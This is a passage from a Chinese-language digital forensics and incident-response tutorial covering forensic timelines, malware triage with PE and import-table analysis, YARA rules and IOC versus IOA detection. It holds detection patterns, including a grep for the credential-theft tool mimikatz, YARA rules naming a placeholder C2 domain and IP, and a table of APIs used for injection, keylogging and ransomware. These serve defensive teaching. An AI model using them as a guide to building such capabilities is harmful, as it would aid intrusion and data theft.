#   ★ 常用 source 简写:
#     FILE  文件(MFT 记录)
#     REG   注册表
#     LOG   日志
#     PE    Prefetch / 程序执行
#     WEBHIST 浏览器历史

# ★ 排除噪音(★ 必做,否则几百万行没法看)
psort.py -o l2tcsv -w /case/tl_clean.csv /case/timeline.plaso \
    "source NOT IN ('FILE') AND date > '2026-03-01'"
#   或者用 Plaso 的 filter 文件(★ 推荐,更灵活)
cat > /case/filters.yaml <<'EOF'
description: 常见噪音过滤
filters:
  - type: exclude
    reason: Windows Update 噪音
    query: "filename CONTAINS 'Windows\\\\SoftwareDistribution'"
  - type: exclude
    reason: 浏览器缓存
    query: "filename CONTAINS 'AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Cache'"
EOF
log2timeline.py --storage-file /case/tl.plaso --filters-file /case/filters.yaml /evidence/mnt

# ══ 第四步:分析 ══
# 用 Timeline Explorer(Windows,图形界面,★ 强烈推荐)
#   功能:排序、过滤、着色、多标签、导出
#   ★ 用法:打开 CSV,按 date 排序,然后:
#     - 先找"锚点"(已知的恶意事件时间)
#     - 看锚点前后各 1~2 小时
#     - 找因果链

# 或者用命令行(Linux)
head -1 /case/timeline.csv && \
grep -iE 'mimikatz|powershell|svchost|temp|appdata' /case/timeline.csv | \
sort -t, -k1,1 -k2,2 | head -200

8.6.3 时间线的坑:时区与时间戳

★ 这是时间线分析最大的坑,必须说清楚

坑一:UTC vs 本地时间

  不同的数据源用不同的时区:
  ★ UTC(世界协调时):
    - Windows 事件日志(evtx)里的 SystemTime
    - NTFS 的 $MFT 时间戳
    - ext4 的 inode 时间戳
    - Plaso 输出的默认(★ Plaso 默认输出 UTC)
  ★ 本地时间:
    - 浏览器历史(Chrome 存的是 UTC,但很多工具显示时转本地)
    - 某些应用日志
    - 你手工记录的时间

  ★ 解决(三条铁律):
    ① 分析时【统一用 UTC】—— 从一开始就定好
    ② 采集时【记录机器的时区】(tzutil /g、cat /etc/timezone)
    ③ 只有在【最后汇报】时才转成业务方熟悉的本地时间
       ★ 并且在报告里明确标注"以下时间均为 UTC+8"

坑二:时钟漂移(Clock Skew)

  不同机器的系统时钟不一样(可能差几分钟甚至几小时)
  → 跨机器的时间线对不上

  ★ 解决:
    ① 记录每台机器跟 NTP 服务器的偏差
    ② 在跨机器时间线里标注"这台机器时间快了 3 分钟"
    ③ ★ 或者用一个共同的参照事件来对齐
       (比如"所有机器都在 02:00 收到了同一个告警")

坑三:时间戳精度不同

  - NTFS:100 纳秒精度
  - ext4:纳秒精度(较新内核)
  - 事件日志:毫秒
  - NetFlow:秒
  - 某些日志:只精确到秒

  ★ 后果:排序时同一秒内的事件顺序可能是乱的
  → 不要过度依赖"同一秒内谁先谁后"

坑四:FAT 文件系统的时间(老设备/U盘)

  FAT32 的时间戳:
    - 本地时间(不是 UTC!)★ 这是最大的坑
    - 创建时间精度是 10 毫秒
    - 访问时间只有日期(没有时分秒)
    - ★ 修改时间的秒数精度是 2 秒(偶数)

  → U 盘取证时特别要注意时区转换

坑五:Timestomping(攻击者故意改时间)

  已讲过(8.2.3)。检测方法:
    - $SI vs $FN 时间对比
    - Entry Modified 时间异常
    - 文件时间早于系统安装时间
    - ★ 时间戳是整点整秒(真实操作有亚秒值)

坑六:Plaso 的时区参数

  # ★ Plaso 可以指定输出时区
  psort.py -o l2tcsv -w out.csv --zone "Asia/Shanghai" in.plaso
  # ★ 或者在 log2timeline 时指定
  log2timeline.py --zone "Asia/Shanghai" --storage-file out.plaso /evidence
  # ★ 但我的建议是:全程用 UTC,最后再转

8.6.4 Timesketch(协作分析平台)

Timesketch(Google 开源)
  ★ 功能:上传 Plaso/CSV/JSONL 时间线,多人协作分析
  ★ 优势:
    - Web 界面,多人同时看
    - ★ 强大的搜索和过滤(支持 Elasticsearch 语法)
    - ★ 可以给事件打标签、加评论、画"故事"(Sketch Story ★)
    - 支持保存搜索、共享给同事
    - ★ 自动的"分析建议"(内置一些检测规则)

★ 核心功能:Story(故事)
  把相关的事件组织成"故事"讲给管理层看:
    Story: 初始入侵
      - 02:11:30 收到钓鱼邮件
      - 02:11:35 点击链接
      - 02:12:00 下载 invoice.doc
    Story: 执行与驻留
      - 02:14:20 winword → mshta
      - 02:15:30 内存注入
      - 02:16:00 注册表持久化
  ★ 这个功能对【写报告】帮助极大

安装(Docker 最简单):
  git clone https://github.com/google/timesketch.git
  cd timesketch/docker
  docker-compose up -d
  # 然后访问 http://localhost

★ 实务建议:
  小事件用 Timeline Explorer(本地,快)
  大事件或多人协作用 Timesketch

8.6.5 时间线分析的五个技巧

技巧一:先找"锚点"(Anchor)

  ★ 不要从头到尾看几百万行
  ★ 先确定 2~3 个已知的"锚点事件",然后只看它们周围

  锚点从哪来:
    - 告警时间
    - 恶意文件的创建时间(MFT)
    - 恶意程序的执行时间(Prefetch / Amcache / BAM)
    - 外部通知的时间
    - C2 连接的建立时间(netscan / NetFlow)

  做法:
    找出锚点时间 T
    → 只看 [T-2h, T+2h]
    → ★ 90% 的关键证据都在这个窗口里

技巧二:按"数据源类型"过滤,而不是看全量

  ★ 分阶段看,每次只看一类:
    第一遍:只看【程序执行】(Prefetch / Amcache / 4688 / UserAssist / BAM)
      → 回答"跑了什么程序"
    第二遍:只看【文件系统】(MFT / USN)
      → 回答"创建/删除了什么文件"
    第三遍:只看【网络】(netscan / Sysmon 3 / NetFlow)
      → 回答"连了哪里"
    第四遍:只看【持久化】(注册表 Run / 服务 / 计划任务 / WMI)
      → 回答"留了什么后门"
    第五遍:把四遍的结果交叉,拼成完整故事

技巧三:找"时间聚集"(Burst)

  ★ 攻击者的操作往往是密集的(几分钟内做很多事)
  ★ 正常用户的行为是稀疏的(分散在一整天)

  做法:
    按分钟统计事件数,找事件密度异常高的时间段
    cat timeline.csv | cut -d, -f2 | cut -d: -f1,2 | sort | uniq -c | sort -rn | head -20
    #   ★ 某一分钟有 200 条事件 = 攻击窗口

技巧四:找"矛盾"(Contradiction)

  ★ 时间线里逻辑上矛盾的地方,往往是最有价值的线索

  例子:
    - 文件 A 的创建时间是 2020 年,但它的父目录创建于 2026 年
      → ★ 矛盾!文件的时间被伪造了
    - 程序在 02:00 执行,但 02:05 这个文件才被创建
      → ★ 矛盾!要么时间被改,要么有另一个同名文件
    - 用户 02:00 在北京登录,02:10 在纽约登录
      → ★ 矛盾!凭据被盗用了(不可能的旅行)
    - 域管账号 03:00 登录,但这个域管 02:00 已经下班打卡
      → ★ 矛盾!账号被冒用

技巧五:找"缺失"(Gap)

  ★ 时间线里的"空档"同样是线索

  例子:
    - 事件日志在 02:00~04:00 没有记录,但前后都有
      → ★ 日志被清了
    - 浏览器历史在 03:00 之后就断了
      → ★ 用户清了历史,或者用了隐私模式
    - 某个文件的访问记录突然消失
      → ★ 有人删了它

  ★ 经验:攻击者能删除证据,但【删除这个动作本身会留下痕迹】

8.7 恶意样本基础分析

定位:这一节不是要你成为病毒分析师(那是专职工作), 而是让你能在应急响应中快速判断“这个文件是不是恶意的、它大概要干什么”, 并知道什么时候该上报给专业团队。

8.7.1 分析的安全红线(★ 最重要,先说)

╔══════════════════════════════════════════════════════════════╗
║  ⚠️ 分析恶意样本是高危操作,必须遵守以下红线                    ║
╠══════════════════════════════════════════════════════════════╣
║ ① 【隔离环境】                                                ║
║    必须在【隔离的、可随时重置的】环境里分析                     ║
║    - 专用虚拟机(★ 快照!分析完立即回滚)                       ║
║    - 网络隔离(★ 断外网的独立网段,或完全断网)                 ║
║    - 不要在你的办公机上双击!                                  ║
║    - 不要在生产机上分析!                                      ║
║                                                               ║
║ ② 【网络控制】                                                ║
║    - 最好完全断网(静态分析优先)                              ║
║    - 需要看网络行为时,用【模拟网络】(INetSim)+ 假的 DNS      ║
║    - ★ 或者限制出口(只放行到你的分析代理)                     ║
║    ⚠️ 千万不要让样本直连互联网 —— 你所在的 IP 会被标记为          ║
║       攻击源,公司可能被列入黑名单                              ║
║                                                               ║
║ ③ 【不要共享】                                                ║
║    - 样本可能包含公司内部信息(配置、密码、内网 IP)             ║
║    - ★ 上传到 VirusTotal 等于公开给所有人                       ║
║    - ★ 正确做法:只上传【哈希】查询,不上传文件本身              ║
║    - 需要上传时,先脱敏或用 VT 的私有版(VT Enterprise)         ║
║                                                               ║
║ ④ 【法律合规】                                                ║
║    - 分析自己的样本没问题                                      ║
║    - ★ 逆向/分析商业软件可能违反 EULA                           ║
║    - ★ 跨境传输样本可能涉及法律问题                             ║
╚══════════════════════════════════════════════════════════════╝

★ 推荐的分析环境配置:
  - VMware/VirtualBox 虚拟机,Windows 10 + 各种运行时
  - 快照!分析前拍一个,分析完回滚
  - 网络:Host-only 或完全断网(★ 推荐)
  - 工具:静态分析优先,动态分析放在沙箱里
  - ★ 进阶:FLARE VM(FireEye 的免费恶意软件分析虚拟机,预装了所有工具)
           REMnux(Linux 版,专注恶意软件分析)

8.7.2 静态分析(不运行样本)

★ 第一步:标识(Triaging)—— 先算哈希,查情报

# ══ ① 算哈希(★ 第一步,必做)══
md5sum    sample.exe
sha1sum   sample.exe
sha256sum sample.exe
#   ★ 三个都算,不同平台用不同的

# Windows PowerShell
Get-FileHash .\sample.exe -Algorithm SHA256

# ══ ② 用哈希查情报(★ 不上传文件!)══
#   VirusTotal:https://www.virustotal.com/gui/home/search
#     输入哈希 → 如果已经有别人上传过,能看到检出率
#     ★ 没检出 ≠ 安全(可能是新样本、或者是针对性攻击)
#   微步在线、360 威胁情报、Abuse.ch、Hybrid Analysis

# ══ ③ 识别文件类型(★ 别信扩展名)══
file sample.exe
#   PE32 executable (GUI) Intel 80386, for MS Windows
#   ★ 扩展名是 .jpg 但 file 说是 PE32 → 明显可疑

#   更详细的:
#   Windows: 用 pestudio / Exeinfo PE / DIE (Detect It Easy)
#   Linux:   file + xxd + readelf

# ★ 检查魔数(Magic Number,文件头)
xxd sample.exe | head -2
#   PE 文件:   4d 5a ("MZ")
#   ELF 文件:  7f 45 4c 46
#   PDF:       25 50 44 46 ("%PDF")
#   ZIP:       50 4b 03 04 ("PK")
#   JPEG:      ff d8 ff
#   PNG:       89 50 4e 47
#   ★ 魔数和扩展名不一致 = 100% 可疑

# ══ ④ 提取字符串(★ 投入产出比最高的一步)══
strings -a sample.exe | head -100
strings -a -el sample.exe | head -100    # ★ -el 是 UTF-16LE(Windows 程序常用!)
#   ★ Windows 程序的字符串很多是 UTF-16,必须用 -el,否则看不全

# ★ 从字符串里能找到什么:
#   ① URL / IP / 域名         → C2 地址 ★★★
#   ② 文件路径                → 它可能在哪创建文件
#   ③ 注册表键               → 它的持久化位置
#   ④ Windows API 名          → 它能干什么(见下)
#   ⑤ 互斥体名               → IOC ★
#   ⑥ 加密/编码的痕迹         → Base64、AES 常量
#   ⑦ PDB 路径               → ★ C:\Users\hacker\Desktop\malware\obj\Release\mal.pdb
#                              ★ 能看出作者的用户名、项目路径!
#   ⑧ 编译时间戳             → 什么时候编译的
#   ⑨ 内嵌的脚本             → PowerShell、VBS、JS
#   ⑩ 有意思的字符串          → "This is a ransomware"、"bitcoin"

# ★ 实用过滤命令(★ 直接抄)
strings -a -el sample.exe | grep -iE 'http|https|ftp|\.onion|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
strings -a sample.exe | grep -iE '\\users\\|\\temp\\|\\appdata\\|software\\microsoft\\windows\\currentversion'
strings -a sample.exe | grep -iE 'mutex|mutant|global\\\\'
strings -a sample.exe | grep -iE '\.pdb$'
strings -a sample.exe | grep -iE 'bitcoin|ransom|decrypt|encrypt|wallet'

★ 第二步:PE 结构分析(Windows 可执行文件)

PE(Portable Executable)文件结构:
  DOS Header("MZ")→ DOS Stub → PE Header("PE\0\0")→
  Optional Header → Section Table → Sections(.text/.data/.rsrc/...)

★ 取证时最关心的:

① 【编译时间戳】(TimeDateStamp)
   位置:File Header 里,是一个 Unix 时间戳
   ★ 价值:
     - 样本是什么时候编译的(★ 推断攻击的时间线)
     - ★ 如果编译时间晚于"文件声称的创建时间" → 时间被伪造
     - 如果编译时间是 1970 年或未来 → 被人为改过

   查看:pestudio 的 "Time Stamp" 字段
        或者:python -c "import pefile; print(pefile.PE('sample.exe').FILE_HEADER.TimeDateStamp)"

② 【节区(Sections)】★ 加壳的第一个信号
   正常的编译器产生的节区名:
     .text   代码
     .data   已初始化数据
     .rdata  只读数据
     .rsrc   资源
     .reloc  重定位

   ★ 加壳工具的典型节区名(看到这些 = 100% 加壳):
     UPX0 / UPX1         → UPX 加壳
     .aspack / .adata    → ASPack
     .petite             → Petite
     .nsp0 / .nsp1       → NsPack
     .themida / .winlice → Themida(★ 强壳,难脱)
     .vmp0 / .vmp1       → VMProtect(★ 很强)
     ★ 或者:节区名是乱码、节区数量异常多

   ★ 另一个信号:节区的【原始大小 vs 虚拟大小】差距极大
     原始大小只有几百字节,虚拟大小几百 KB
     → ★ 典型的加壳(运行时会解压/解密)

   ★ 还有:节区的权限是【可写 + 可执行】(W+X)
     → 自解压/自修改代码 = 壳的特征

   查看:pestudio 的 Sections 标签
        CFF Explorer
        objdump -h sample.exe

③ 【导入表(Import Table)】★★★ 最能说明"它要干什么"
   ★ 这是静态分析里【信息量最大】的部分

   通过导入的 DLL 和 API,你能推断样本的能力:

   ┌────────────────────────────────────────────────────────┐
   │ 导入的 DLL/API                  推断的能力              │
   ├────────────────────────────────────────────────────────┤
   │ ADVAPI32.dll                                            │
   │   RegSetValueEx/RegCreateKey    ★ 改注册表(持久化)    │
   │   OpenProcessToken/AdjustTokenPrivileges   ★ 提权       │
   │   CreateService/OpenSCManager   ★ 创建服务(持久化)    │
   │   CryptEncrypt/CryptDecrypt     ★ 加密(勒索!)        │
   │   GetTokenInformation           令牌操作                │
   │                                                         │
   │ KERNEL32.dll                                            │
   │   CreateRemoteThread/WriteProcessMemory  ★★ 进程注入    │
   │   VirtualAllocEx/VirtualProtectEx        ★★ 注入配套     │
   │   CreateFile/WriteFile/ReadFile          文件操作        │
   │   CreateProcess                          启动进程        │
   │   LoadLibrary/GetProcAddress             动态加载        │
   │   IsDebuggerPresent                      ★ 反调试!      │
   │   FindFirstFile/FindNextFile             文件遍历        │
   │   GetSystemDirectory/GetWindowsDirectory 路径获取        │
   │                                                         │
   │ WS2_32.dll / WSOCK32.dll                                │
   │   socket/connect/send/recv      ★★ 网络通信(C2)       │
   │   WSAStartup/gethostbyname      网络初始化、DNS          │
   │   bind/listen/accept            ★ 后门监听!             │
   │   URLDownloadToFile             下载文件 ★               │
   │                                                         │
   │ WININET.dll / WINHTTP.dll                               │
   │   InternetOpen/InternetReadFile ★ HTTP 通信(C2)        │
   │   HttpSendRequest               发送 HTTP 请求           │
   │                                                         │
   │ USER32.dll                                               │
   │   SetWindowsHookEx               ★★ 键盘钩子(窃密!)   │
   │   GetAsyncKeyState/GetKeyState  ★★ 键盘记录              │
   │   FindWindow/GetForegroundWindow  窗口监控               │
   │                                                         │
   │ CRYPT32.dll / ADVAPI32 Crypt*                           │
   │   CryptEncrypt/CryptHashData     ★ 加密(勒索)          │
   │                                                         │
   │ NETAPI32.dll                                             │
   │   NetUserEnum/NetGroupEnum      ★ 域/用户枚举(横向)    │
   │   NetShareEnum                   共享枚举                 │
   │                                                         │
   │ IPHLPAPI.dll                                             │
   │   GetAdaptersInfo/GetIpNetTable 网络信息收集              │
   │                                                         │
   │ NTDLL.dll                                                │
   │   NtQueryInformationProcess     ★ 反调试                 │
   │   ZwUnmapViewOfSection          ★★ 进程替换(注入)      │
   │   NtCreateThreadEx              创建线程(注入)          │
   │   RtlAdjustPrivilege            提权                     │
   │                                                         │
   │ PSAPI.dll                                                │
   │   EnumProcesses/EnumProcessModules  进程枚举              │
   │                                                         │
   │ SHELL32.dll                                              │
   │   ShellExecute                  执行程序                 │
   └────────────────────────────────────────────────────────┘

   ★★ 经验法则(看到这些组合就基本能定性):
     CreateRemoteThread + WriteProcessMemory + VirtualAllocEx
       → ★★★ 进程注入(几乎所有现代恶意软件都有)
     RegSetValueEx(CurrentVersion\Run) 或 CreateService
       → ★★ 持久化
     SetWindowsHookEx + GetAsyncKeyState
       → ★★★ 键盘记录器(窃密木马)
     CryptEncrypt + FindFirstFile + 遍历所有文件
       → ★★★★ 勒索软件
     socket + connect + 硬编码 IP
       → ★★ 后门 / C2
     IsDebuggerPresent + NtQueryInformationProcess
       → ★ 反调试(说明作者有对抗意识,是"专业"样本)
     URLDownloadToFile + CreateProcess
       → ★★ 下载器(Downloader,会拉第二阶段 payload)

   查看:pestudio(★ 会用红色高亮可疑 API)
        CFF Explorer → Import Directory
        objdump -p sample.exe | grep -A100 "DLL Name"

④ 【资源段(.rsrc)】
   ★ 恶意软件常把 payload 藏在资源里
   查看:Resource Hacker / pestudio 的 resources 标签
   ★ 看到资源里有个 PE 文件(MZ 头)→ 内嵌了另一个程序

⑤ 【数字签名】
   ★ 有签名 ≠ 安全(攻击者会盗用签名,或者用滥发的证书)
   ★ 但【没有签名】通常更可疑(正规软件基本都有)

   查看:
     sigcheck.exe -a sample.exe        (Sysinternals)
     Get-AuthenticodeSignature .\sample.exe
   ★ 重点看:
     - 签名是否有效(Valid / Invalid)
     - 签名者是谁(是不是声称的那个公司)
     - 签名时间(★ 如果签名时间晚于编译时间,正常)
     - ★ 证书是否已被吊销

★ 静态分析工具清单

工具 平台 用途 推荐度
pestudio Windows ★ 一键看 PE 结构、导入表、字符串、节区,红黄绿标注可疑 ★★★★★ 新手首选
DIE(Detect It Easy) 跨平台 ★ 识别加壳、编译器、打包器 ★★★★★
strings + grep 跨平台 字符串提取(★ 最快) ★★★★★
CFF Explorer Windows PE 结构全面查看与编辑 ★★★★
pefile(Python 库) 跨平台 ★ 编程方式解析 PE(批量分析必备) ★★★★
sigcheck Windows 数字签名检查 ★★★★
Exeinfo PE Windows 加壳识别 ★★★
YARA 跨平台 ★ 特征匹配(见 8.7.3) ★★★★★
CAPA(FireEye) 跨平台 ★★ 自动识别样本的能力(“能注入进程”、“能加密文件”) ★★★★★ 强烈推荐
Ghidra / IDA 跨平台 反汇编、反编译(★ 专业逆向,需要学习成本) ★★★ 进阶
Floss(FireEye) 跨平台 ★ 自动去混淆,提取被编码的字符串 ★★★★
# ★ CAPA:自动告诉你这个样本"能干什么"(强烈推荐)
capa sample.exe
#   输出示例:
#     ───────────────────────── CAPABILITIES ─────────────────────────
#     ✔ inject process                                    [Process Injection]
#       ✔ create process                                  [Process Creation]
#       ✔ write to another process's memory              [Memory Management]
#     ✔ persist via Windows service                       [Persistence]
#       ✔ create or start Windows service
#     ✔ communicate over HTTP                             [Communication]
#       ✔ send data over HTTP
#     ✔ encrypt data using AES                            [Cryptography]
#   ★ ★ 这个输出可以直接贴到报告里!

# ★ Floss:自动提取被混淆的字符串
floss sample.exe
#   ★ 能找到被 Base64 / XOR / 栈字符串隐藏的内容
#     (普通 strings 看不到的,它能看到)

# ★ pefile:批量分析
python3 << 'EOF'
import pefile, hashlib, datetime, sys
pe = pefile.PE('sample.exe')
print("SHA256:", hashlib.sha256(open('sample.exe','rb').read()).hexdigest())
print("编译时间:", datetime.datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp))
print("\n节区:")
for s in pe.sections:
    print(f"  {s.Name.decode().rstrip(chr(0)):10} "
          f"RVA={s.VirtualAddress:#x} VSize={s.Misc_VirtualSize:#x} "
          f"RawSize={s.SizeOfRawData:#x} "
          f"Flags={s.Characteristics:#x}")
print("\n导入的 DLL:")
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print(f"  {entry.dll.decode()}")
    for imp in entry.imports[:10]:
        print(f"      {imp.name.decode() if imp.name else imp.ordinal}")
EOF

8.7.3 YARA:恶意样本的特征匹配语言

一句话定义

YARA=用于描述和匹配恶意样本特征的规则语言,被称为“恶意软件界的正则表达式”。

★ 为什么它重要

问题场景:
  你在应急响应中确认了一个恶意样本
  → 现在要问:"公司里还有多少台机器也有这个东西?"
  → ★ 用哈希只能找到【完全相同】的文件
     但攻击者稍微改一个字节,哈希就变了

  ★ YARA 的价值:
    它可以描述"这类恶意软件的特征"(字符串、字节序列、结构特征)
    → 即使文件被改过,只要特征还在,就能匹配到
    → ★ 这是 IOC Sweep(全网清扫)的核心工具

  另一个用途:
    在 SIEM / EDR / 邮件网关里内置 YARA 规则
    → 实时检测新上传的文件

★ YARA 规则语法

// 规则结构:meta(元信息)+ strings(特征)+ condition(匹配条件)

rule Ransomware_Conti_Like {
    meta:
        description = "检测疑似 Conti 勒索软件家族"
        author      = "YourName"
        date        = "2026-03-15"
        reference   = "IR-2026-0315"
        hash        = "a3f5c8...(样本哈希)"
        severity    = "high"
        // ★ meta 不参与匹配,只是给人和工具看的

    strings:
        // ① 文本字符串
        $s1 = "ThisIsAVeryLongMutexName123" ascii wide nocase
        //     ascii = ANSI 编码
        //     wide  = UTF-16LE(Windows 常用)★ 建议都加上
        //     nocase = 不区分大小写

        // ② 十六进制字节序列(★ 最强,能匹配代码特征)
        $h1 = { 4D 5A 90 00 03 00 00 00 }          // MZ 头
        $h2 = { 8B 45 ?? 33 C0 89 45 ?? }          // ★ ?? 是通配符(任意字节)
        $h3 = { 6A 00 6A 00 6A 00 6A 00 }          // 连续 push 0

        // ③ 正则表达式
        $r1 = /https?:\/\/[a-z0-9]{8,20}\.(com|net|org)\/[a-z0-9]+/
        $r2 = /[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/

        // ④ 特殊:文件特征
        $pe = "This program cannot be run in DOS mode"

    condition:
        // 条件表达式,用 and / or / not 组合
        $pe and (2 of ($s1, $h1, $h2, $h3) or $r1)
        //   ★ "2 of (...)" = 括号里任意 2 个匹配即可

        // 其他常用写法:
        //   all of them          所有字符串都匹配
        //   any of them          任意一个匹配
        //   3 of them            任意 3 个匹配
        //   $s1 and $h1          两个都匹配
        //   $s1 or $h1 or $r1    任意一个
        //   #s1 > 5              $s1 出现超过 5 次
        //   filesize < 500KB     文件大小条件 ★
        //   $s1 at 0             $s1 出现在偏移 0
        //   for all of ($a*) : ( # > 2 )   所有 $a 开头的字符串都出现 2 次以上
}

★ 实战:为应急响应写 YARA 规则

// 场景:在应急响应中发现了一个后门,现在要全网清扫

rule Backdoor_Incident_2026_0315 {
    meta:
        description = "IR-2026-0315 事件中发现的后门"
        incident    = "IR-2026-0315"
        date        = "2026-03-15"
        confidence  = "high"

    strings:
        // ① C2 相关(★ 如果 C2 是硬编码的,这是最好的特征)
        $c2_domain = "update-service-cdn.com" ascii wide nocase
        $c2_ip     = "203.0.113.5" ascii wide

        // ② 互斥体(★ 恶意软件常用固定名字,非常适合做 IOC)
        $mutex     = "Global\\MyApp_Instance_2026" ascii wide

        // ③ 特有的代码特征(从样本的十六进制 dump 里提取)
        $code1     = { 8B 4C 24 04 8B 44 24 08 33 D2 85 C0 74 ?? }
        $code2     = { 55 8B EC 83 EC ?? 53 56 57 8B 7D 08 }

        // ④ 特有的字符串(作者留下的痕迹)
        $str1      = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) MyClient" ascii
        $str2      = "C:\\Users\\admin\\Desktop\\project\\Release\\" ascii wide

        // ⑤ 加密常量(AES 的 S-Box,很多恶意软件自带 AES 实现)
        $aes_sbox  = { 63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 }

    condition:
        // ★ 原则:宁可漏报,不可误报(误报会让全网清扫变成灾难)
        ($c2_domain or $c2_ip or $mutex)     // 强特征,命中一个就报
        or
        ($str1 and $str2)                     // 两个弱特征组合
        or
        (2 of ($code1, $code2, $aes_sbox) and $str1)
}

// ★ 配套的"排除规则"(减少误报)
rule Exclude_Known_Good {
    meta:
        description = "排除已知的误报"
    strings:
        $vendor = "Contoso Corporation" ascii wide
        $signed = "Microsoft Corporation" ascii wide
    condition:
        any of them
}

★ YARA 实战命令

# 安装
pip install yara-python
# 或者 apt install yara

# 扫描单个文件
yara -r rules.yar sample.exe

# 扫描整个目录(★ 全网清扫用)
yara -r rules.yar /evidence/ 2>/dev/null

# ★ 批量扫描 + 输出详细信息
yara -r -s -m rules.yar /evidence/
#   -s 显示匹配的字符串
#   -m 显示 meta 信息

# 显示匹配的偏移量
yara -r -s -x rules.yar sample.exe
#   -x 显示匹配的原始数据(十六进制)

# ★ 扫描内存(★ 找无文件攻击)
yara -r rules.yar /proc/<PID>/mem
# 或者配合 Volatility:
#   先 dump 进程内存,再扫

# ★ 扫描整个磁盘镜像(先挂载)
yara -r rules.yar /mnt/evidence/

# ★ 性能:编译规则(规则多时加速)
yarac rules.yar rules_compiled.yarc
yara -C rules_compiled.yarc /evidence/

# ★ 递归扫描大目录时用 -w(忽略警告)
yara -r -w rules.yar /evidence/

★ 去哪找现成的 YARA 规则(不要重复造轮子)

官方与社区规则库:
  ① YARA-Rules/rules(GitHub)           ★ 最经典的社区规则库
  ② Neo23x0/signature-base(GitHub)     ★ Florian Roth 维护,质量极高
  ③ elastic/protections-artifacts        ★ Elastic 的,配合 EDR 用
  ④ advanced-threat-research/Yara-Rules  ATT 团队的
  ⑤ ReversingLabs/yara-rules
  ⑥ InQuest/awesome-yara                 ★ YARA 资源汇总
  ⑦ 各安全厂商的开源规则(FireEye、Trend Micro、Palo Alto)

★ 商用/情报源:
  - Recorded Future、FireEye iSight、CrowdStrike 的情报里带 YARA
  - ★ MISP 平台(见 8.7.6)上有大量共享的 YARA 规则

★ 实务建议:
  ① 先用现成规则跑一遍(快)
  ② 针对本次事件【自己写】1~2 条精确规则(准)
  ③ ★ 自己写的规则要做误报测试:
     在【干净的机器】上跑一遍,确认不误报
     ★ 这一步必须做,否则全网清扫会淹没人

8.7.4 IOC vs IOA:两种截然不同的检测思路

★ 这是本节最重要的概念,面试高频

维度 IOC(Indicator of Compromise)
失陷指标
IOA(Indicator of Attack)
攻击指标
定义 能证明“已经被攻陷”的证据 描述“正在发生的攻击行为”
回答的问题 “这件事已经发生了吗?” “现在正在发生什么?”
形态 静态的、具体的
文件哈希、IP、域名、互斥体名、注册表键
行为的、泛化的
“PowerShell 访问了 LSASS”、“Word 启动了 cmd”
时效 ★ 短(攻击者改个 IP 就失效) ★ 长(行为模式很难改)
检出时机 事后(已经中招了) ★ 事中(可以拦截!)
误报率 低(精确匹配) ★ 相对高(需要调优)
绕过难度 ★ 容易(改哈希、换 IP 就行) ★ 难(攻击者必须改变行为模式)
谁在用 应急响应(IOC 清扫)、情报共享 EDR、NDR、SIEM 的实时检测
典型例子 sha256=a3f5...
203.0.113.5
evil-cdn.com
Global\MyMutex123
mimikatz 访问 LSASS 进程
Office 程序产生子进程
异常的 PowerShell 命令行
大量文件在短时间内被重命名

★ 为什么 IOA 更重要(核心洞察)

IOC 的根本问题:它描述的是"上一次攻击长什么样"

  攻击者拿到你的 IOC 清单后:
    - 换个 IP、换个域名         → IP/域名 IOC 失效
    - 重新编译一次             → 哈希 IOC 失效(每字节都变)
    - 改一下互斥体名           → 互斥体 IOC 失效
  ★ 攻击者改变 IOC 的成本【几乎为零】

IOA 的优势:它描述的是"攻击必然要做的事"

  不管攻击者用什么工具、什么 IP、什么哈希:
    - 要偷凭据 → 必须访问 LSASS      ★ 跑不掉
    - 要投递   → 必须让 Office 产生子进程 ★ 跑不掉
    - 要加密文件 → 必须大量读写文件    ★ 跑不掉
    - 要持久化 → 必须写注册表/服务/计划任务 ★ 跑不掉
  ★ 攻击者改变【行为模式】的成本【很高】

★ 所以业界的说法:
  "IOC 让你找到已知,IOA 让你发现未知"

  ★ 类比:
    IOC 像是"通缉令"(照片、身份证号)—— 换个发型就认不出了
    IOA 像是"行为画像"(总是戴黑帽、总在半夜出门)—— 换装也没用

★ 实务:两者要配合,缺一不可

正确的做法(三层):

  第一层:IOC(已知威胁,快速拦截)
    - 防火墙、邮件网关、代理封禁恶意 IP/域名
    - EDR 的哈希黑名单
    - ★ 作用:挡住已知的、低级的攻击
    - ★ 局限:挡不住针对性攻击

  第二层:IOA(行为检测,抓未知)★ 主力
    - EDR 的行为规则
    - SIEM 的关联规则
    - Sysmon + Sigma 规则
    - ★ 作用:抓 0day、抓针对性攻击、抓"改头换面"的攻击

  第三层:异常检测(基线偏离)
    - UEBA(用户实体行为分析)
    - 机器学习(但也有大量误报)
    - ★ 作用:抓最隐蔽的
    - ★ 局限:误报率最高

  ★ 现实:大部分企业的现状是第一层做得还行,
         第二层严重不足(因为需要检测工程能力)

★ IOC 的完整清单(应急响应产出)

一个完整的 IOC 报告应该包含这些类别:

① 【网络类】
   - C2 IP(含端口)
   - C2 域名(含子域名)
   - URL 路径
   - ★ TLS 证书指纹 / JA3 指纹
   - User-Agent
   - DNS 查询模式

② 【文件类】
   - SHA256 / SHA1 / MD5
   - ★ 文件大小、文件类型
   - 完整路径(在哪发现的)
   - ★ imphash(导入表哈希,★ 同一个编译环境的样本 imphash 相同)
   - ★ ssdeep(模糊哈希,能找"相似的"文件,不是完全相同的)
   - 数字签名信息(签发者、序列号,★ 即使文件不同,签名可能相同)

③ 【主机类】
   - 互斥体名(★ 非常稳定)
   - 注册表键值(持久化位置)
   - 服务名、计划任务名
   - ★ 进程名、命令行特征
   - 文件路径模式(如 %TEMP%\随机名.exe)

④ 【账号类】
   - 新建的账号名
   - 被利用的账号
   - ★ 异常的登录时间/来源

⑤ 【行为类】(这已经是 IOA 了)
   - 异常的父子进程关系
   - 特定的 API 调用序列
   - ★ 这些写成 Sigma / EDR 规则

★ 输出格式(★ 便于机器读取和共享):
   - OpenIOC(XML 格式,老牌)
   - STIX(结构化威胁信息表达,★ 现代标准)
   - CSV(最简单,但信息量有限)
   - ★ MISP 事件(★ 业界主流共享格式)

8.7.5 动态分析与沙箱

★ 什么时候需要动态分析

静态分析搞不定的情况:
